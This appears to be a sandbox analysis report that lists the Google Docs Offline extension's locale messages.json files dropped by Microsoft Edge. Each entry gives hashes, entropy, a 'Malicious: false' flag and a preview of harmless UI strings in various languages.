Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea 